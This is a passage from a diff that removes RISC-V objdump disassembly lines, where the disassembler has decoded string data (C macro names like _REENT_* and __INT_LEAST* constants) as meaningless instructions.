-    462a:	5f50                	lw	a2,60(a4)
-    462c:	414d                	li	sp,19
-    462e:	2058                	fld	fa4,128(s0)
-    4630:	5f003337          	lui	t1,0x5f003
-    4634:	4552                	lw	a0,20(sp)
-    4636:	4e45                	li	t3,17
-    4638:	5f54                	lw	a3,60(a4)
-    463a:	504d                	c.li	zero,-13
-    463c:	525f 5345 4c55      	0x4c555345525f
-    4642:	2854                	fld	fa3,144(s0)
-    4644:	7470                	flw	fa2,108(s0)
-    4646:	2972                	fld	fs2,280(sp)
-    4648:	2820                	fld	fs0,80(s0)
-    464a:	7028                	flw	fa0,96(s0)
-    464c:	7274                	flw	fa3,100(a2)
-    464e:	2d29                	jal	4c68 <__stack_size+0x4468>
-    4650:	5f3e                	lw	t5,236(sp)
-    4652:	6572                	flw	fa0,28(sp)
-    4654:	746c7573          	csrrci	a0,0x746,24
-    4658:	0029                	c.nop	10
-    465a:	5f5f 4347 5f43      	0x5f4343475f5f
-    4660:	4549                	li	a0,18
-    4662:	35355f43          	0x35355f43
-    4666:	2039                	jal	4674 <__stack_size+0x3e74>
-    4668:	0030                	addi	a2,sp,8
-    466a:	5f5f 6974 656d      	0x656d69745f5f
-    4670:	745f 645f 6665      	0x6665645f745f
-    4676:	6e69                	lui	t3,0x1a
-    4678:	6465                	lui	s0,0x19
-    467a:	0020                	addi	s0,sp,8
-    467c:	525f 4545 544e      	0x544e4545525f
-    4682:	535f 4454 4f49      	0x4f494454535f
-    4688:	535f 5254 4145      	0x41455254535f
-    468e:	284d                	jal	4740 <__stack_size+0x3f40>
-    4690:	6176                	flw	ft2,92(sp)
-    4692:	2c72                	fld	fs8,280(sp)
-    4694:	6e69                	lui	t3,0x1a
-    4696:	6564                	flw	fs1,76(a0)
-    4698:	2978                	fld	fa4,208(a0)
-    469a:	2620                	fld	fs0,72(a2)
-    469c:	7628                	flw	fa0,104(a2)
-    469e:	7261                	lui	tp,0xffff8
-    46a0:	2d29                	jal	4cba <__stack_size+0x44ba>
-    46a2:	5f3e                	lw	t5,236(sp)
-    46a4:	735f 5b66 6e69      	0x6e695b66735f
-    46aa:	6564                	flw	fs1,76(a0)
-    46ac:	5d78                	lw	a4,124(a0)
-    46ae:	4300                	lw	s0,0(a4)
-    46b0:	4d5f5253          	0x4d5f5253
-    46b4:	4549                	li	a0,18
-    46b6:	3120                	fld	fs0,96(a0)
-    46b8:	4600                	lw	s0,8(a2)
-    46ba:	4f5f 204b 0030      	0x30204b4f5f
-    46c0:	494c                	lw	a1,20(a0)
-    46c2:	454e                	lw	a0,208(sp)
-    46c4:	4d5f 5841 3220      	0x322058414d5f
-    46ca:	3430                	fld	fa2,104(s0)
-    46cc:	0038                	addi	a4,sp,8
-    46ce:	5f5f 4946 454c      	0x454c49465f5f
-    46d4:	645f 6665 6e69      	0x6e696665645f
-    46da:	6465                	lui	s0,0x19
-    46dc:	0020                	addi	s0,sp,8
-    46de:	525f 4545 544e      	0x544e4545525f
-    46e4:	475f 5445 4144      	0x41445445475f
-    46ea:	4554                	lw	a3,12(a0)
-    46ec:	455f 5252 505f      	0x505f5252455f
-    46f2:	7028                	flw	fa0,96(s0)
-    46f4:	7274                	flw	fa3,100(a2)
-    46f6:	2029                	jal	4700 <__stack_size+0x3f00>
-    46f8:	2628                	fld	fa0,72(a2)
-    46fa:	2828                	fld	fa0,80(s0)
-    46fc:	7470                	flw	fa2,108(s0)
-    46fe:	2972                	fld	fs2,280(sp)
-    4700:	3e2d                	jal	423a <__stack_size+0x3a3a>
-    4702:	6e5f 7765 5f2e      	0x5f2e77656e5f
-    4708:	6572                	flw	fa0,28(sp)
-    470a:	6e65                	lui	t3,0x19
-    470c:	2e74                	fld	fa3,216(a2)
-    470e:	675f 7465 6164      	0x61647465675f
-    4714:	6574                	flw	fa3,76(a0)
-    4716:	655f 7272 2929      	0x29297272655f
-    471c:	4f00                	lw	s0,24(a4)
-    471e:	445f 5249 4345      	0x43455249445f
-    4724:	2054                	fld	fa3,128(s0)
-    4726:	465f 4944 4552      	0x45524944465f
-    472c:	5f005443          	fmadd.q	fs0,ft0,fa6,fa1,unknown
-    4730:	4e45                	li	t3,17
-    4732:	5f44                	lw	s1,60(a4)
-    4734:	5f445453          	0x5f445453
-    4738:	5f002043          	fmadd.q	ft0,ft0,fa6,fa1,rdn
-    473c:	4955                	li	s2,21
-    473e:	544e                	lw	s0,240(sp)
-    4740:	5450                	lw	a2,44(s0)
-    4742:	5f52                	lw	t5,52(sp)
-    4744:	5f54                	lw	a3,60(a4)
-    4746:	4544                	lw	s1,12(a0)
-    4748:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
-    474c:	4445                	li	s0,17
-    474e:	0020                	addi	s0,sp,8
-    4750:	74727473          	csrrci	s0,0x747,4
-    4754:	006c756f          	jal	a0,cb75a <__stack_size+0xcaf5a>
-    4758:	4e5f 4c55 204c      	0x204c4c554e5f
-    475e:	0030                	addi	a2,sp,8
-    4760:	43415f4f          	fnmadd.d	ft10,ft2,fs4,fs0,unknown
-    4764:	444f4d43          	0x444f4d43
-    4768:	2045                	jal	4808 <__stack_size+0x4008>
-    476a:	4f28                	lw	a0,88(a4)
-    476c:	525f 4f44 4c4e      	0x4c4e4f44525f
-    4772:	7c59                	lui	s8,0xffff6
-    4774:	52575f4f          	fnmadd.d	ft10,fa4,ft5,fa0,unknown
-    4778:	594c4e4f          	fnmadd.s	ft8,fs8,fs4,fa1,rmm
-    477c:	4f7c                	lw	a5,92(a4)
-    477e:	525f 5744 2952      	0x29525744525f
-    4784:	4c00                	lw	s0,24(s0)
-    4786:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
-    478a:	494d                	li	s2,19
-    478c:	204e                	fld	ft0,208(sp)
-    478e:	2d28                	fld	fa0,88(a0)
-    4790:	4f4c                	lw	a1,28(a4)
-    4792:	474e                	lw	a4,208(sp)
-    4794:	4d5f 5841 2d20      	0x2d2058414d5f
-    479a:	3120                	fld	fs0,96(a0)
-    479c:	294c                	fld	fa1,144(a0)
-    479e:	6d00                	flw	fs0,24(a0)
-    47a0:	7065                	c.lui	zero,0xffff9
-    47a2:	53430063          	beq	t1,s4,4cc2 <__stack_size+0x44c2>
-    47a6:	5f52                	lw	t5,52(sp)
-    47a8:	454d                	li	a0,19
-    47aa:	4350                	lw	a2,4(a4)
-    47ac:	3420                	fld	fs0,104(s0)
-    47ae:	5f00                	lw	s0,56(a4)
-    47b0:	705f 5f74 7567      	0x75675f74705f
-    47b6:	7261                	lui	tp,0xffff8
-    47b8:	6564                	flw	fs1,76(a0)
-    47ba:	5f64                	lw	s1,124(a4)
-    47bc:	7962                	flw	fs2,56(sp)
-    47be:	7828                	flw	fa0,112(s0)
-    47c0:	2029                	jal	47ca <__stack_size+0x3fca>
-    47c2:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
-    47c8:	615f 6e6e 746f      	0x746f6e6e615f
-    47ce:	7461                	lui	s0,0xffff8
-    47d0:	2865                	jal	4888 <__stack_size+0x4088>
-    47d2:	7470                	flw	fa2,108(s0)
-    47d4:	675f 6175 6472      	0x64726175675f
-    47da:	6465                	lui	s0,0x19
-    47dc:	625f 2879 2978      	0x29782879625f
-    47e2:	0029                	c.nop	10
-    47e4:	575f 4843 5241      	0x52414843575f
-    47ea:	545f 445f 4345      	0x4345445f545f
-    47f0:	414c                	lw	a1,4(a0)
-    47f2:	4552                	lw	a0,20(sp)
-    47f4:	2044                	fld	fs1,128(s0)
-    47f6:	5f00                	lw	s0,56(a4)
-    47f8:	615f 6c6c 636f      	0x636f6c6c615f
-    47fe:	735f 7a69 2865      	0x28657a69735f
-    4804:	2978                	fld	fa4,208(a0)
-    4806:	5f20                	lw	s0,120(a4)
-    4808:	615f 7474 6972      	0x69727474615f
-    480e:	7562                	flw	fa0,56(sp)
-    4810:	6574                	flw	fa3,76(a0)
-    4812:	5f5f 2828 5f5f      	0x5f5f28285f5f
-    4818:	6c61                	lui	s8,0x18
-    481a:	6f6c                	flw	fa1,92(a4)
-    481c:	69735f63          	bge	t1,s7,4eba <__stack_size+0x46ba>
-    4820:	657a                	flw	fa0,156(sp)
-    4822:	5f5f 7828 2929      	0x292978285f5f
-    4828:	0029                	c.nop	10
-    482a:	525f 4545 544e      	0x544e4545525f
-    4830:	435f 4548 4b43      	0x4b434548435f
-    4836:	455f 454d 4752      	0x4752454d455f
-    483c:	4e45                	li	t3,17
-    483e:	70285943          	fmadd.s	fs2,fa6,ft2,fa4,unknown
-    4842:	7274                	flw	fa3,100(a2)
-    4844:	2029                	jal	484e <__stack_size+0x404e>
-    4846:	5f00                	lw	s0,56(a4)
-    4848:	4e55                	li	t3,21
-    484a:	5542                	lw	a0,48(sp)
-    484c:	5f46                	lw	t5,112(sp)
-    484e:	45525453          	0x45525453
-    4852:	4d41                	li	s10,16
-    4854:	4f5f 5450 3120      	0x312054504f5f
-    485a:	5f00                	lw	s0,56(a4)
-    485c:	735f 6d79 635f      	0x635f6d79735f
-    4862:	61706d6f          	jal	s10,b678 <__stack_size+0xae78>
-    4866:	2874                	fld	fa3,208(s0)
-    4868:	2c6d7973          	csrrci	s2,0x2c6,26
-    486c:	6d69                	lui	s10,0x1a
-    486e:	6c70                	flw	fa2,92(s0)
-    4870:	762c                	flw	fa1,104(a2)
-    4872:	7265                	lui	tp,0xffff9
-    4874:	6469                	lui	s0,0x1a
-    4876:	2029                	jal	4880 <__stack_size+0x4080>
-    4878:	5f5f 7361 5f6d      	0x5f6d73615f5f
-    487e:	285f 2e22 7973      	0x79732e22285f
-    4884:	766d                	lui	a2,0xffffb
-    4886:	7265                	lui	tp,0xffff9
-    4888:	2220                	fld	fs0,64(a2)
-    488a:	2320                	fld	fs0,64(a4)
-    488c:	6d69                	lui	s10,0x1a
-    488e:	6c70                	flw	fa2,92(s0)
-    4890:	2220                	fld	fs0,64(a2)
-    4892:	202c                	fld	fa1,64(s0)
-    4894:	2022                	fld	ft0,8(sp)
-    4896:	6d797323          	0x6d797323
-    489a:	2220                	fld	fs0,64(a2)
-    489c:	2240                	fld	fs0,128(a2)
-    489e:	2320                	fld	fs0,64(a4)
-    48a0:	6576                	flw	fa0,92(sp)
-    48a2:	6972                	flw	fs2,28(sp)
-    48a4:	2964                	fld	fs1,208(a0)
-    48a6:	5f00                	lw	s0,56(a4)
-    48a8:	495f 544e 4c5f      	0x4c5f544e495f
-    48ae:	4145                	li	sp,17
-    48b0:	5f385453          	0x5f385453
-    48b4:	54444957          	0x54444957
-    48b8:	5f48                	lw	a0,60(a4)
-    48ba:	205f 0038 5f5f      	0x5f5f0038205f
-    48c0:	43554e47          	fmsub.d	ft8,fa0,fs5,fs0,rmm
-    48c4:	5f5f 3120 0030      	0x3031205f5f
-    48ca:	45535f4f          	0x45535f4f
-    48ce:	5241                	li	tp,-16
-    48d0:	5f204843          	fmadd.q	fa6,ft0,fs2,fa1,rmm
-    48d4:	4546                	lw	a0,80(sp)
-    48d6:	4558                	lw	a4,12(a0)
-    48d8:	43525343          	fmadd.d	ft6,ft4,fs5,fs0,unknown
-    48dc:	0048                	addi	a0,sp,4
-    48de:	5f5f 4e49 5f54      	0x5f544e495f5f
-    48e4:	4146                	lw	sp,80(sp)
-    48e6:	36315453          	0x36315453
-    48ea:	545f 5059 5f45      	0x5f455059545f
-    48f0:	205f 6e69 0074      	0x746e69205f
-    48f6:	53495f53          	0x53495f53
-    48fa:	4944                	lw	s1,20(a0)
-    48fc:	2852                	fld	fa6,272(sp)
-    48fe:	296d                	jal	4db8 <__stack_size+0x45b8>
-    4900:	2820                	fld	fs0,80(s0)
-    4902:	2828                	fld	fa0,80(s0)
-    4904:	296d                	jal	4dbe <__stack_size+0x45be>
-    4906:	5f26                	lw	t5,104(sp)
-    4908:	4649                	li	a2,18
-    490a:	544d                	li	s0,-13
-    490c:	2029                	jal	4916 <__stack_size+0x4116>
-    490e:	3d3d                	jal	474c <__stack_size+0x3f4c>
-    4910:	5f20                	lw	s0,120(a4)
-    4912:	4649                	li	a2,18
-    4914:	4944                	lw	s1,20(a0)
-    4916:	2952                	fld	fs2,272(sp)
-    4918:	5f00                	lw	s0,56(a4)
-    491a:	325f4353          	0x325f4353
-    491e:	435f 4148 5f52      	0x5f524148435f
-    4924:	4554                	lw	a3,12(a0)
-    4926:	4d52                	lw	s10,20(sp)
-    4928:	3120                	fld	fs0,96(a0)
-    492a:	3730                	fld	fa2,104(a4)
-    492c:	5f00                	lw	s0,56(a4)
-    492e:	325f4353          	0x325f4353
-    4932:	4c5f 434f 4c41      	0x4c41434f4c5f
-    4938:	4445                	li	s0,17
-    493a:	4645                	li	a2,17
-    493c:	3120                	fld	fs0,96(a0)
-    493e:	3231                	jal	424a <__stack_size+0x3a4a>
-    4940:	5f00                	lw	s0,56(a4)
-    4942:	495f 544e 4c5f      	0x4c5f544e495f
-    4948:	4145                	li	sp,17
-    494a:	32335453          	0x32335453
-    494e:	575f 4449 4854      	0x48544449575f
-    4954:	5f5f 3320 0032      	0x3233205f5f
-    495a:	414d                	li	sp,19
-    495c:	5f58                	lw	a4,60(a4)
-    495e:	4e49                	li	t3,18
-    4960:	5550                	lw	a2,44(a0)
-    4962:	2054                	fld	fa3,128(s0)
-    4964:	3532                	fld	fa0,296(sp)
-    4966:	0035                	c.nop	13
-    4968:	44525f4f          	0x44525f4f
-    496c:	594c4e4f          	fnmadd.s	ft8,fs8,fs4,fa1,rmm
-    4970:	3020                	fld	fs0,96(s0)
-    4972:	5f00                	lw	s0,56(a4)
-    4974:	735f 6567 6374      	0x63746567735f
-    497a:	725f 7761 725f      	0x725f7761725f
-    4980:	5f28                	lw	a0,120(a4)
-    4982:	705f 7274 5f2c      	0x5f2c7274705f
-    4988:	665f 2029 2d28      	0x2d282029665f
-    498e:	282d                	jal	49c8 <__stack_size+0x41c8>
-    4990:	5f5f 2966 3e2d      	0x3e2d29665f5f
-    4996:	725f 3c20 3020      	0x30203c20725f
-    499c:	3f20                	fld	fs0,120(a4)
-    499e:	5f20                	lw	s0,120(a4)
-    49a0:	735f 6772 7465      	0x74656772735f
-    49a6:	725f 5f28 705f      	0x705f5f28725f
-    49ac:	7274                	flw	fa3,100(a2)
-    49ae:	202c                	fld	fa1,64(s0)
-    49b0:	5f5f 2966 3a20      	0x3a2029665f5f
-    49b6:	2820                	fld	fs0,80(s0)
-    49b8:	6e69                	lui	t3,0x1a
-    49ba:	2974                	fld	fa3,208(a0)
-    49bc:	2a28                	fld	fa0,80(a2)
-    49be:	5f28                	lw	a0,120(a4)
-    49c0:	665f 2d29 5f3e      	0x5f3e2d29665f
-    49c6:	2b70                	fld	fa2,208(a4)
-    49c8:	0029292b          	0x29292b
-    49cc:	425f 5459 5f45      	0x5f455459425f
-    49d2:	4544524f          	0x4544524f
-    49d6:	2052                	fld	ft0,272(sp)
-    49d8:	4c5f 5449 4c54      	0x4c5454494c5f
-    49de:	5f45                	li	t5,-15
-    49e0:	4e45                	li	t3,17
-    49e2:	4944                	lw	s1,20(a0)
-    49e4:	4e41                	li	t3,16
-    49e6:	5f00                	lw	s0,56(a4)
-    49e8:	465f 544c 3231      	0x3231544c465f
-    49ee:	5f38                	lw	a4,120(a4)
-    49f0:	4148                	lw	a0,4(a0)
-    49f2:	45445f53          	0x45445f53
-    49f6:	4f4e                	lw	t5,208(sp)
-    49f8:	4d52                	lw	s10,20(sp)
-    49fa:	5f5f 3120 4300      	0x430031205f5f
-    4a00:	544e554f          	0x544e554f
-    4a04:	5f00                	lw	s0,56(a4)
-    4a06:	535f 5a49 4f45      	0x4f455a49535f
-    4a0c:	5f46                	lw	t5,112(sp)
-    4a0e:	544e4957          	0x544e4957
-    4a12:	545f 5f5f 3420      	0x34205f5f545f
-    4a18:	4700                	lw	s0,8(a4)
-    4a1a:	4950                	lw	a2,20(a0)
-    4a1c:	4f4c5f4f          	fnmadd.q	ft10,fs8,fs4,fs1,unknown
-    4a20:	50495f57          	0x50495f57
-    4a24:	3020                	fld	fs0,96(s0)
-    4a26:	3378                	fld	fa4,224(a4)
-    4a28:	0034                	addi	a3,sp,8
-    4a2a:	5450                	lw	a2,44(s0)
-    4a2c:	5248                	lw	a0,36(a2)
-    4a2e:	4145                	li	sp,17
-    4a30:	5f44                	lw	s1,60(a4)
-    4a32:	41455243          	fmadd.s	ft4,fa0,fs4,fs0,unknown
-    4a36:	4554                	lw	a3,12(a0)
-    4a38:	445f 5445 4341      	0x43415445445f
-    4a3e:	4548                	lw	a0,12(a0)
-    4a40:	2044                	fld	fs1,128(s0)
-    4a42:	0030                	addi	a2,sp,8
-    4a44:	5450                	lw	a2,44(s0)
-    4a46:	5248                	lw	a0,36(a2)
-    4a48:	4145                	li	sp,17
-    4a4a:	5f44                	lw	s1,60(a4)
-    4a4c:	504f4353          	0x504f4353
-    4a50:	5f45                	li	t5,-15
-    4a52:	54535953          	0x54535953
-    4a56:	4d45                	li	s10,17
-    4a58:	3120                	fld	fs0,96(a0)
-    4a5a:	4900                	lw	s0,16(a0)
-    4a5c:	544e                	lw	s0,240(sp)
-    4a5e:	465f 5341 3854      	0x38545341465f
-    4a64:	4d5f 4e49 5f00      	0x5f004e494d5f
-    4a6a:	4350                	lw	a2,4(a4)
-    4a6c:	325f 535f 4d59      	0x4d59535f325f
-    4a72:	494c                	lw	a1,20(a0)
-    4a74:	4b4e                	lw	s6,208(sp)
-    4a76:	33312053          	0x33312053
-    4a7a:	5f00                	lw	s0,56(a4)
-    4a7c:	5f434347          	fmsub.q	ft6,ft6,fs4,fa1,rmm
-    4a80:	455a4953          	0x455a4953
-    4a84:	545f 0020 5f5f      	0x5f5f0020545f
-    4a8a:	4c46                	lw	s8,80(sp)
-    4a8c:	3654                	fld	fa3,168(a2)
-    4a8e:	5834                	lw	a3,112(s0)
-    4a90:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
-    4a96:	3320                	fld	fs0,96(a4)
-    4a98:	332e                	fld	ft6,232(sp)
-    4a9a:	3236                	fld	ft4,360(sp)
-    4a9c:	3031                	jal	42a8 <__stack_size+0x3aa8>
-    4a9e:	33343133          	0x33343133
-    4aa2:	3131                	jal	46ae <__stack_size+0x3eae>
-    4aa4:	3032                	fld	ft0,296(sp)
-    4aa6:	3339                	jal	47b4 <__stack_size+0x3fb4>
-    4aa8:	3035                	jal	42d4 <__stack_size+0x3ad4>
-    4aaa:	3236                	fld	ft4,360(sp)
-    4aac:	3236                	fld	ft4,360(sp)
-    4aae:	3736                	fld	fa4,360(sp)
-    4ab0:	37313837          	lui	a6,0x37313
-    4ab4:	37313233          	0x37313233
-    4ab8:	3235                	jal	43e4 <__stack_size+0x3be4>
-    4aba:	3036                	fld	ft0,360(sp)
-    4abc:	2d65                	jal	5174 <__stack_size+0x4974>
-    4abe:	3934                	fld	fa3,112(a0)
-    4ac0:	36463233          	0x36463233
-    4ac4:	7834                	flw	fa3,112(s0)
-    4ac6:	5f00                	lw	s0,56(a4)
-    4ac8:	495f 544e 4d5f      	0x4d5f544e495f
-    4ace:	5841                	li	a6,-16
-    4ad0:	5f5f 3020 3778      	0x377830205f5f
-    4ad6:	6666                	flw	fa2,88(sp)
-    4ad8:	6666                	flw	fa2,88(sp)
-    4ada:	6666                	flw	fa2,88(sp)
-    4adc:	0066                	c.slli	zero,0x19
-    4ade:	4f495047          	fmsub.q	ft0,fs2,fs4,fs1,unknown
-    4ae2:	465f 4c41 5f4c      	0x5f4c4c41465f
-    4ae8:	5049                	c.li	zero,-14
-    4aea:	3020                	fld	fs0,96(s0)
-    4aec:	3278                	fld	fa4,224(a2)
-    4aee:	0034                	addi	a3,sp,8
-    4af0:	5f5f 5847 5f58      	0x5f5858475f5f
-    4af6:	4241                	li	tp,16
-    4af8:	5f49                	li	t5,-14
-    4afa:	4556                	lw	a0,84(sp)
-    4afc:	5352                	lw	t1,52(sp)
-    4afe:	4f49                	li	t5,18
-    4b00:	204e                	fld	ft0,208(sp)
-    4b02:	3031                	jal	430e <__stack_size+0x3b0e>
-    4b04:	3431                	jal	4510 <__stack_size+0x3d10>
-    4b06:	5f00                	lw	s0,56(a4)
-    4b08:	495f 544e 4c5f      	0x4c5f544e495f
-    4b0e:	4145                	li	sp,17
-    4b10:	5f385453          	0x5f385453
-    4b14:	5954                	lw	a3,52(a0)
-    4b16:	4550                	lw	a2,12(a0)
-    4b18:	5f5f 7320 6769      	0x676973205f5f
-    4b1e:	656e                	flw	fa0,216(sp)
-    4b20:	2064                	fld	fs1,192(s0)
-    4b22:	72616863          	bltu	sp,t1,5252 <__stack_size+0x4a52>
-    4b26:	4600                	lw	s0,8(a2)
-    4b28:	575f 4c52 4b43      	0x4b434c52575f
-    4b2e:	3220                	fld	fs0,96(a2)
-    4b30:	5f00                	lw	s0,56(a4)
-    4b32:	434f4c43          	fmadd.d	fs8,ft10,fs4,fs0,rmm
-    4b36:	5f44494b          	fnmsub.q	fs2,fs0,fs4,fa1,rmm
-    4b3a:	5f54                	lw	a3,60(a4)
-    4b3c:	4544                	lw	s1,12(a0)
-    4b3e:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
-    4b42:	4445                	li	s0,17
-    4b44:	0020                	addi	s0,sp,8
-    4b46:	4c4c                	lw	a1,28(s0)
-    4b48:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
-    4b4c:	494d                	li	s2,19
-    4b4e:	004e                	c.slli	zero,0x13
-    4b50:	66706d63          	bltu	zero,t2,51ca <__stack_size+0x49ca>
-    4b54:	6e75                	lui	t3,0x1d
-    4b56:	464e0063          	beq	t3,tp,4fb6 <__stack_size+0x47b6>
-    4b5a:	4244                	lw	s1,4(a2)
-    4b5c:	5449                	li	s0,-14
-    4b5e:	73282053          	0x73282053
-    4b62:	7a69                	lui	s4,0xffffa
-    4b64:	6f65                	lui	t5,0x19
-    4b66:	2066                	fld	ft0,88(sp)
-    4b68:	6628                	flw	fa0,72(a2)
-    4b6a:	5f64                	lw	s1,124(a4)
-    4b6c:	616d                	addi	sp,sp,240
-    4b6e:	20296b73          	csrrsi	s6,hedeleg,18
-    4b72:	202a                	fld	ft0,136(sp)
-    4b74:	2938                	fld	fa4,80(a0)
-    4b76:	5f00                	lw	s0,56(a4)
-    4b78:	4e46                	lw	t3,80(sp)
-    4b7a:	4942                	lw	s2,16(sp)
-    4b7c:	7830204f          	fnmadd.s	ft0,ft0,ft3,fa5,rdn
-    4b80:	3031                	jal	438c <__stack_size+0x3b8c>
-    4b82:	3030                	fld	fa2,96(s0)
-    4b84:	5f00                	lw	s0,56(a4)
-    4b86:	4c5f 4244 5f4c      	0x5f4c42444c5f
-    4b8c:	494d                	li	s2,19
-    4b8e:	5f4e                	lw	t5,240(sp)
-    4b90:	205f 2e33 3633      	0x36332e33205f
-    4b96:	3132                	fld	ft2,296(sp)
-    4b98:	3330                	fld	fa2,96(a4)
-    4b9a:	3431                	jal	45a6 <__stack_size+0x3da6>
-    4b9c:	32313133          	0x32313133
-    4ba0:	3930                	fld	fa2,112(a0)
-    4ba2:	36303533          	0x36303533
-    4ba6:	3632                	fld	fa2,296(sp)
-    4ba8:	3632                	fld	fa2,296(sp)
-    4baa:	31383737          	lui	a4,0x31383
-    4bae:	31323337          	lui	t1,0x31323
-    4bb2:	36323537          	lui	a0,0x36323
-    4bb6:	6530                	flw	fa2,72(a0)
-    4bb8:	342d                	jal	45e2 <__stack_size+0x3de2>
-    4bba:	3339                	jal	48c8 <__stack_size+0x40c8>
-    4bbc:	4c32                	lw	s8,12(sp)
-    4bbe:	5f00                	lw	s0,56(a4)
-    4bc0:	4f50                	lw	a2,28(a4)
-    4bc2:	32584953          	0x32584953
-    4bc6:	525f 5f45 5544      	0x55445f45525f
-    4bcc:	5f50                	lw	a2,60(a4)
-    4bce:	414d                	li	sp,19
-    4bd0:	2058                	fld	fa4,128(s0)
-    4bd2:	3532                	fld	fa0,296(sp)
-    4bd4:	0035                	c.nop	13
-    4bd6:	5f5f 4c46 5f54      	0x5f544c465f5f
-    4bdc:	5645                	li	a2,-15
-    4bde:	4c41                	li	s8,16
-    4be0:	4d5f 5445 4f48      	0x4f4854454d5f
-    4be6:	5f44                	lw	s1,60(a4)
-    4be8:	205f 0030 5f5f      	0x5f5f0030205f
-    4bee:	6f727473          	csrrci	s0,0x6f7,4
-    4bf2:	676e                	flw	fa4,216(sp)
-    4bf4:	725f 6665 7265      	0x72656665725f
-    4bfa:	6e65                	lui	t3,0x19
-    4bfc:	73286563          	bltu	a6,s2,5326 <__stack_size+0x4b26>
-    4c00:	6d79                	lui	s10,0x1e
-    4c02:	612c                	flw	fa1,64(a0)
-    4c04:	696c                	flw	fa1,84(a0)
-    4c06:	7361                	lui	t1,0xffff8
-    4c08:	296d7973          	csrrci	s2,0x296,26
-    4c0c:	6520                	flw	fs0,72(a0)
-    4c0e:	7478                	flw	fa4,108(s0)
-    4c10:	7265                	lui	tp,0xffff9
-    4c12:	206e                	fld	ft0,216(sp)
-    4c14:	5f5f 7974 6570      	0x657079745f5f
-    4c1a:	2820666f          	jal	a2,ae9c <__stack_size+0xa69c>
-    4c1e:	296d7973          	csrrci	s2,0x296,26
-    4c22:	6120                	flw	fs0,64(a0)
-    4c24:	696c                	flw	fa1,84(a0)
-    4c26:	7361                	lui	t1,0xffff8
-    4c28:	206d7973          	csrrci	s2,0x206,26
-    4c2c:	5f5f 7461 7274      	0x727474615f5f
-    4c32:	6269                	lui	tp,0x1a
-    4c34:	7475                	lui	s0,0xffffd
-    4c36:	5f65                	li	t5,-7
-    4c38:	205f 2828 5f5f      	0x5f5f2828205f
-    4c3e:	6c61                	lui	s8,0x18
-    4c40:	6169                	addi	sp,sp,208
-    4c42:	205f5f73          	csrrwi	t5,htvec,30
-    4c46:	2328                	fld	fa0,64(a4)
-    4c48:	296d7973          	csrrci	s2,0x296,26
-    4c4c:	2929                	jal	5066 <__stack_size+0x4866>
-    4c4e:	5f00                	lw	s0,56(a4)
-    4c50:	575f 4e49 5f54      	0x5f544e49575f
-    4c56:	494d                	li	s2,19
-    4c58:	5f4e                	lw	t5,240(sp)
-    4c5a:	205f 5530 4300      	0x43005530205f
-    4c60:	4d5f5253          	0x4d5f5253
-    4c64:	5048                	lw	a0,36(s0)
-    4c66:	434d                	li	t1,19
-    4c68:	544e554f          	0x544e554f
-    4c6c:	5245                	li	tp,-15
-    4c6e:	2034                	fld	fa3,64(s0)
-    4c70:	3631                	jal	477c <__stack_size+0x3f7c>
-    4c72:	5f00                	lw	s0,56(a4)
-    4c74:	495f 544e 5f38      	0x5f38544e495f
-    4c7a:	414d                	li	sp,19
-    4c7c:	5f58                	lw	a4,60(a4)
-    4c7e:	205f 7830 6637      	0x66377830205f
-    4c84:	5f00                	lw	s0,56(a4)
-    4c86:	495f 544e 4c5f      	0x4c5f544e495f
-    4c8c:	4145                	li	sp,17
-    4c8e:	32335453          	0x32335453
-    4c92:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    4c98:	3020                	fld	fs0,96(s0)
-    4c9a:	3778                	fld	fa4,232(a4)
-    4c9c:	6666                	flw	fa2,88(sp)
-    4c9e:	6666                	flw	fa2,88(sp)
-    4ca0:	6666                	flw	fa2,88(sp)
-    4ca2:	4c66                	lw	s8,88(sp)
-    4ca4:	4d00                	lw	s0,24(a0)
-    4ca6:	4f5a                	lw	t5,148(sp)
-    4ca8:	454e                	lw	a0,208(sp)
-    4caa:	575f 4946 2928      	0x29284946575f
-    4cb0:	6120                	flw	fs0,64(a0)
-    4cb2:	76206d73          	csrrsi	s10,0x762,0
-    4cb6:	74616c6f          	jal	s8,1b3fc <__stack_size+0x1abfc>
-    4cba:	6c69                	lui	s8,0x1a
-    4cbc:	2065                	jal	4d64 <__stack_size+0x4564>
-    4cbe:	2228                	fld	fa0,64(a2)
-    4cc0:	696c                	flw	fa1,84(a0)
-    4cc2:	6120                	flw	fs0,64(a0)
-    4cc4:	2c30                	fld	fa2,88(s0)
-    4cc6:	3120                	fld	fs0,96(a0)
-    4cc8:	6d20223b          	0x6d20223b
-    4ccc:	6f7a                	flw	ft10,156(sp)
-    4cce:	656e                	flw	fa0,216(sp)
-    4cd0:	3a20                	fld	fs0,112(a2)
-    4cd2:	3a20                	fld	fs0,112(a2)
-    4cd4:	3a20                	fld	fs0,112(a2)
-    4cd6:	2220                	fld	fs0,64(a2)
-    4cd8:	3061                	jal	4560 <__stack_size+0x3d60>
-    4cda:	2922                	fld	fs2,8(sp)
-    4cdc:	4e46003b          	0x4e46003b
-    4ce0:	4c424e4f          	0x4c424e4f
-    4ce4:	204b434f          	fnmadd.s	ft6,fs6,ft4,ft4,rmm
-    4ce8:	465f 4f4e 424e      	0x424e4f4e465f
-    4cee:	4f4c                	lw	a1,28(a4)
-    4cf0:	5f004b43          	fmadd.q	fs6,ft0,fa6,fa1,rmm
-    4cf4:	475f 554e 4c43      	0x4c43554e475f
-    4cfa:	4b49                	li	s6,18
-    4cfc:	5f45                	li	t5,-15
-    4cfe:	5542                	lw	a0,48(sp)
-    4d00:	4c49                	li	s8,18
-    4d02:	4954                	lw	a3,20(a0)
-    4d04:	5f4e                	lw	t5,240(sp)
-    4d06:	4156                	lw	sp,84(sp)
-    4d08:	4152                	lw	sp,20(sp)
-    4d0a:	4752                	lw	a4,20(sp)
-    4d0c:	00312053          	fadd.s	ft0,ft2,ft3,rdn
-    4d10:	4b5f 616d 2078      	0x2078616d4b5f
-    4d16:	7328                	flw	fa0,96(a4)
-    4d18:	7a69                	lui	s4,0xffffa
-    4d1a:	6f65                	lui	t5,0x19
-    4d1c:	2066                	fld	ft0,88(sp)
-    4d1e:	7328                	flw	fa0,96(a4)
-    4d20:	7a69                	lui	s4,0xffffa
-    4d22:	5f65                	li	t5,-7
